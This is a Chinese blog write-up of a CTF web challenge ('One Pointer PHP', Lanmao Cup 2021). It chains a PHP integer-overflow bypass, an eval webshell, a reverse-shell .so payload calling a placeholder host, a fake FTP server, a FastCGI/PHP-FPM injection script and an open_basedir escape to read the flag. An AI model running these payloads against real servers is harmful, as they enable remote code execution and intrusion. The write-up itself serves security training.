[蓝帽杯 2021]One Pointer PHP

最近在看FPM/Fastcgi未授权漏洞,感觉自己还不太熟悉所以没敢写关于这个漏洞的文章,但是利用还是很简单的。这一题就是用的这个,不得不说这一道题考的是真狠,把权限全都给拿走了,提权过程中的思路是最痛苦的。一起来看看吧!

题目可以在buuctf平台复现。

源码解读

首先,题目给了我们源码,直接打开看看,发现有两个文件,代码都非常的简短。

add_api.php

<?php
show_source(__FILE__);
include "user.php";
if($user=unserialize($_COOKIE["data"])){
	$count[++$user->count]=1;
	if($count[]=1){
		$user->count+=1;
		setcookie("data",serialize($user));
	}else{
		eval($_GET["backdoor"]);
	}
}else{
	$user=new User;
	$user->count=1;
	setcookie("data",serialize($user));
}
?>
user.php

<?php
class User{
	public $count;
}
?>

第一层----溢出

代码也不难读懂,大体意思就是存了一个序列化的数据,把他反序列化后的数据处理后在if中进行$count[]=1,这是一个赋值操作而不是判断,这个点感觉.........好熟悉啊..........

这不就是我之前做卷王杯时绕的一模一样的套路吗?这里不细讲了,我CTFSHOW卷王杯easyweb写了就不细写了,不懂的可以自己去看看哈!

大概绕过思路就是,由于是赋值操作,而$count[]=1是对$count数组的最后一个赋值,如果我们使得上一位达到一个int的最大值,当它自增过后数组不能再赋值了,一旦往后面赋值就会溢出,进而报错。这里我们需要了解到int的最大溢出值为多少,之前也说过这个int最大取值还是得看操作系统的位数,若操作系统为32位的int最大取值为214748364764位的最大取值为9223372036854775807,现在的操作系统基本都是64位的了,所以我们用64位的解,因为上面会自增一次,所以我们count取值为9223372036854775806

 把这个数据用url解码,看一下,

O:4:"User":1:{s:5:"count";i:1;}

1修改为我们的count值然后再进行url编码然后在放入在cookiedata值即可,再利用backdoor参数访问看看phpinfo()

 说明我们已经绕过了第一层的溢出!

第二层----“假”的一句话

既然可以控制backdoor参数,我们不妨直接写一个一句话如下,

?backdoor=eval($_POST['wllm']);

用POST传参试试这个行不行,

可以,所以我们用这个连接一句话,但是这里有个需要注意的小点,因为我们需要控制COOKIE的数据所以我们需要在蚁剑的请求数据中放入我们的COOKIE数据(有两条,以分号断开)。

 

 连接上了,我们找一下flag,在根目录下发现flag,但是打开是空白的,假flag?不并不是,看下图

flag文件的大小是43b,说明有数据,但是为啥打开空白呢?我们把这个文件下载到本地看看,

它报错了-----Can Not Read.

这说明我们没有权限去读取这玩意儿,再看看终端,

 换谁谁不迷糊,搞了这么久的蚁剑,最后拿到以后屁用没有,所以我们目前的一句话居然是"假"的。

第三层----配置文件的分析

 既然利用不上蚁剑,我们就想一想能不能利用LD_PRELOAD劫持搞一搞,先看看phpinfo()中的disable_functions,看看能不能利用到putenv()函数。

还是太年轻了,到这里我就开始自闭了,因为已经不知道该怎么下手了。在其它师傅的文章中我开始了解CGI、Fastcgi、FPM未授权等等,一起看看吧!前面我说拿到蚁剑没用,但不尽然,我们拿到的蚁剑没有权限是因为open_basedir这个配置文件的设置

 由于open_basedir对目录的限制使得我们只能对/var/www/html下的文件进行操作,但是我们访问一下/etc/passwd发现

虽然flag不能读,但是passwd可以,也就是说其它的也行,既然可以读,这也就够了,我们可以看看php.ini配置文件以及nginx配置文件。

php.ini配置文件路径:/usr/local/etc/php/php.ini,这种配置文件的路径在不同的web服务器搭建是不同的比如我的服务器web是用phpstudy搭建的和宝塔搭的配置文件就不太相同,所以这题的配置文件是可以自己一个一个找出来。

看其它的师傅说这里可以pwn,由于我是纯web狗就没有深看这个方法。

我们来下一个web法,看nginx默认配置文件,路径为:/etc/nginx/sites-enabled/default

 这是一个fastcgi开启的情况,以后我熟练了这个再把fastcgi单独列出一篇文章来讲透它。到这里我们就差不多已经可以断定了,这里利用FPM未授权漏洞对其使用RCE攻击

第四层----FPM未授权

如果知道FPM的工作原理对这个题目的payload构造会有更深的理解,当然如果不知道也没关系,因为我在网上翻了翻,发现payload好像是继承过来的一样,从漏洞发现到现在一直用的是同一个payload。所以不用担心看不懂,就当作是一个脚本小子即可。

1.构造恶意so文件

首先我们需要构造一个上一篇文章LD_PRELOAD最后讲的那个不需要依赖函数的利用方法。我们首先在Linux环境下创建一个C文件,

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
    system("bash -c 'bash -i >& /dev/tcp/your_IP/2333 0>&1'");
}

这里我们构造的目的是想要把shell弹到我们的服务器上去。接下来就是把它编译为库链接文件.so后缀,然后把这个.so文件放入/html目录下。

 

在搞个接受文件的php,这个文件的作用是接收恶意的fastcdi请求文件并写回主机,为什么可以这样需要了解fastcgi的原理有兴趣的朋友可以去看相关的文章,这里我理解不深不敢乱说,就继续下面了。

file.php
<?php
    $file = $_GET['file'] ?? '/tmp/file';
    $data = $_GET['data'] ?? ':)';
    echo($file."</br>".$data."</br>");
    var_dump(file_put_contents($file, $data));
?>

 这个文件是我拿一个师傅的,当然也可以不写这个文件,因为我们backdoor变量是在eval函数下的,我们可以直接用backdoor接收php代码。

2.构造恶意FTP服务

file变量是用来利用我们服务器伪造的FTP恶意代码的,当ftp建立连接后,会通过被动模式将payload重定向到目标主机本地9001端口的php-fpm上,并会成功反弹shell到我们的服务器上,所以我们要开两台服务器窗口,一台用来运行FTP,一台用来监听返回的数据。

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.bind(('0.0.0.0', 9999))#这里是ftp的端口
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

这个恶意伪造的FTP服务代码放我们服务器用python环境运行。另外我们FTP监听的这个端口要在服务器中打开,不然监听不到。

3.构造恶意Fastcgi请求

这个脚本很长,看着很吓人,但是我们只要知道一件事,这是一个现成的脚本是一个从漏洞发现至今一直没变的一串数据,我们不需要修改什么东西,最关键的是最下面$params中的数据了,其它的可以照搬。

<?php
/**
 * Note : Code is released under the GNU LGPL
 *
 * Please do not change the header of this file
 *
 * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
 * Lesser General Public License as published by the Free Software Foundation; either version 2 of
 * the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 *
 * See the GNU Lesser General Public License for more details.
 */
/**
 * Handles communication with a FastCGI application
 *
 * @author      Pierrick Charron <pierrick@webstart.fr>
 * @version     1.0
 */
class FCGIClient
{
    const VERSION_1            = 1;
    const BEGIN_REQUEST        = 1;
    const ABORT_REQUEST        = 2;
    const END_REQUEST          = 3;
    const PARAMS               = 4;
    const STDIN                = 5;
    const STDOUT               = 6;
    const STDERR               = 7;
    const DATA                 = 8;
    const GET_VALUES           = 9;
    const GET_VALUES_RESULT    = 10;
    const UNKNOWN_TYPE         = 11;
    const MAXTYPE              = self::UNKNOWN_TYPE;
    const RESPONDER            = 1;
    const AUTHORIZER           = 2;
    const FILTER               = 3;
    const REQUEST_COMPLETE     = 0;
    const CANT_MPX_CONN        = 1;
    const OVERLOADED           = 2;
    const UNKNOWN_ROLE         = 3;
    const MAX_CONNS            = 'MAX_CONNS';
    const MAX_REQS             = 'MAX_REQS';
    const MPXS_CONNS           = 'MPXS_CONNS';
    const HEADER_LEN           = 8;
    /**
     * Socket
     * @var Resource
     */
    private $_sock = null;
    /**
     * Host
     * @var String
     */
    private $_host = null;
    /**
     * Port
     * @var Integer
     */
    private $_port = null;
    /**
     * Keep Alive
     * @var Boolean
     */
    private $_keepAlive = false;
    /**
     * Constructor
     *
     * @param String $host Host of the FastCGI application
     * @param Integer $port Port of the FastCGI application
     */
    public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket
    {
        $this->_host = $host;
        $this->_port = $port;
    }
    /**
     * Define whether or not the FastCGI application should keep the connection
     * alive at the end of a request
     *
     * @param Boolean $b true if the connection should stay alive, false otherwise
     */
    public function setKeepAlive($b)
    {
        $this->_keepAlive = (boolean)$b;
        if (!$this->_keepAlive && $this->_sock) {
            fclose($this->_sock);
        }
    }
    /**
     * Get the keep alive status
     *
     * @return Boolean true if the connection should stay alive, false otherwise
     */
    public function getKeepAlive()
    {
        return $this->_keepAlive;
    }
    /**
     * Create a connection to the FastCGI application
     */
    private function connect()
    {
        if (!$this->_sock) {
            //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
            $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
            if (!$this->_sock) {
                throw new Exception('Unable to connect to FastCGI application');
            }
        }
    }
    /**
     * Build a FastCGI packet
     *
     * @param Integer $type Type of the packet
     * @param String $content Content of the packet
     * @param Integer $requestId RequestId
     */
    private function buildPacket($type, $content, $requestId = 1)
    {
        $clen = strlen($content);
        return chr(self::VERSION_1)         /* version */
            . chr($type)                    /* type */
            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
            . chr($requestId & 0xFF)        /* requestIdB0 */
            . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
            . chr($clen & 0xFF)             /* contentLengthB0 */
            . chr(0)                        /* paddingLength */
            . chr(0)                        /* reserved */
            . $content;                     /* content */
    }
    /**
     * Build an FastCGI Name value pair
     *
     * @param String $name Name
     * @param String $value Value
     * @return String FastCGI Name value pair
     */
    private function buildNvpair($name, $value)
    {
        $nlen = strlen($name);
        $vlen = strlen($value);
        if ($nlen < 128) {
            /* nameLengthB0 */
            $nvpair = chr($nlen);
        } else {
            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
        }
        if ($vlen < 128) {
            /* valueLengthB0 */
            $nvpair .= chr($vlen);
        } else {
            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
        }
        /* nameData & valueData */
        return $nvpair . $name . $value;
    }
    /**
     * Read a set of FastCGI Name value pairs
     *
     * @param String $data Data containing the set of FastCGI NVPair
     * @return array of NVPair
     */
    private function readNvpair($data, $length = null)
    {
        $array = array();
        if ($length === null) {
            $length = strlen($data);
        }
        $p = 0;
        while ($p != $length) {
            $nlen = ord($data{$p++});
            if ($nlen >= 128) {
                $nlen = ($nlen & 0x7F << 24);
                $nlen |= (ord($data{$p++}) << 16);
                $nlen |= (ord($data{$p++}) << 8);
                $nlen |= (ord($data{$p++}));
            }
            $vlen = ord($data{$p++});
            if ($vlen >= 128) {
                $vlen = ($nlen & 0x7F << 24);
                $vlen |= (ord($data{$p++}) << 16);
                $vlen |= (ord($data{$p++}) << 8);
                $vlen |= (ord($data{$p++}));
            }
            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
            $p += ($nlen + $vlen);
        }
        return $array;
    }
    /**
     * Decode a FastCGI Packet
     *
     * @param String $data String containing all the packet
     * @return array
     */
    private function decodePacketHeader($data)
    {
        $ret = array();
        $ret['version']       = ord($data{0});
        $ret['type']          = ord($data{1});
        $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
        $ret['paddingLength'] = ord($data{6});
        $ret['reserved']      = ord($data{7});
        return $ret;
    }
    /**
     * Read a FastCGI Packet
     *
     * @return array
     */
    private function readPacket()
    {
        if ($packet = fread($this->_sock, self::HEADER_LEN)) {
            $resp = $this->decodePacketHeader($packet);
            $resp['content'] = '';
            if ($resp['contentLength']) {
                $len  = $resp['contentLength'];
                while ($len && $buf=fread($this->_sock, $len)) {
                    $len -= strlen($buf);
                    $resp['content'] .= $buf;
                }
            }
            if ($resp['paddingLength']) {
                $buf=fread($this->_sock, $resp['paddingLength']);
            }
            return $resp;
        } else {
            return false;
        }
    }
    /**
     * Get Informations on the FastCGI application
     *
     * @param array $requestedInfo information to retrieve
     * @return array
     */
    public function getValues(array $requestedInfo)
    {
        $this->connect();
        $request = '';
        foreach ($requestedInfo as $info) {
            $request .= $this->buildNvpair($info, '');
        }
        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
        $resp = $this->readPacket();
        if ($resp['type'] == self::GET_VALUES_RESULT) {
            return $this->readNvpair($resp['content'], $resp['length']);
        } else {
            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
        }
    }
    /**
     * Execute a request to the FastCGI application
     *
     * @param array $params Array of parameters
     * @param String $stdin Content
     * @return String
     */
    public function request(array $params, $stdin)
    {
        $response = '';
//        $this->connect();
        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
        $paramsRequest = '';
        foreach ($params as $key => $value) {
            $paramsRequest .= $this->buildNvpair($key, $value);
        }
        if ($paramsRequest) {
            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
        }
        $request .= $this->buildPacket(self::PARAMS, '');
        if ($stdin) {
            $request .= $this->buildPacket(self::STDIN, $stdin);
        }
        $request .= $this->buildPacket(self::STDIN, '');
        echo('?file=ftp://ip:9999/&data='.urlencode($request));
//        fwrite($this->_sock, $request);
//        do {
//            $resp = $this->readPacket();
//            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
//                $response .= $resp['content'];
//            }
//        } while ($resp && $resp['type'] != self::END_REQUEST);
//        var_dump($resp);
//        if (!is_array($resp)) {
//            throw new Exception('Bad request');
//        }
//        switch (ord($resp['content']{4})) {
//            case self::CANT_MPX_CONN:
//                throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
//                break;
//            case self::OVERLOADED:
//                throw new Exception('New request rejected; too busy [OVERLOADED]');
//                break;
//            case self::UNKNOWN_ROLE:
//                throw new Exception('Role value not known [UNKNOWN_ROLE]');
//                break;
//            case self::REQUEST_COMPLETE:
//                return $response;
//        }
    }
}
?>
<?php
// real exploit start here
//if (!isset($_REQUEST['cmd'])) {
//    die("Check your input\n");
//}
//if (!isset($_REQUEST['filepath'])) {
//    $filepath = __FILE__;
//}else{
//    $filepath = $_REQUEST['filepath'];
//}

$filepath = "/var/www/html/add_api.php";
$req = '/'.basename($filepath);
$uri = $req .'?'.'command=whoami';
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
$php_value = "unserialize_callback_func = system\nextension_dir = /var/www/html\nextension = payload.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = "; // extension_dir即为.so文件所在目录
$params = array(
    'GATEWAY_INTERFACE' => 'FastCGI/1.0',
    'REQUEST_METHOD'    => 'POST',
    'SCRIPT_FILENAME'   => $filepath,
    'SCRIPT_NAME'       => $req,
    'QUERY_STRING'      => 'command=whoami',
    'REQUEST_URI'       => $uri,
    'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
    'PHP_VALUE'         => $php_value,
    'SERVER_SOFTWARE'   => 'ctfking/Tajang',
    'REMOTE_ADDR'       => '127.0.0.1',
    'REMOTE_PORT'       => '9001', // 找准服务端口
    'SERVER_ADDR'       => '127.0.0.1',
    'SERVER_PORT'       => '80',
    'SERVER_NAME'       => 'localhost',
    'SERVER_PROTOCOL'   => 'HTTP/1.1',
    'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

运行一下这个脚本得到如下payload,

 

4.打入payload

先把恶意FTP挂起来

 再把2333的端口监听上,

 再把payload打入

可以看到,shell被反弹到我们的服务器上去了。

你以为这就完了吗?no!!

提取提取,这个题目这么喜欢考提权。这里我们用到一条suid提权指令,

find / -perm -u=s -type f 2>/dev/null

这个过程可能有点慢,我们可以看到/usr/local/bin/php这一条,说明php有权限使用php -a进入交互模式,直接读取数据并不可以,我们可以用ini_set()open_basedir变量指向根目录再读取,payload如下,

mkdir('test');chdir('test');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents('/flag'));

 flag就出了,获得这个flag真是太艰难了!!

参考:PHP 连接方式介绍以及如何攻击 PHP-FPM - 信安之路 - 90Sec

[蓝帽杯 2021]One Pointer PHP_L1s4的博客-CSDN博客

蓝帽杯2021 One Pointer PHP_Tajang的博客-CSDN博客

CTF one_Pointer_php 2021 蓝帽杯 WriteUp_baynk的博客-CSDN博客

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 9
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 9
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

errorr0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值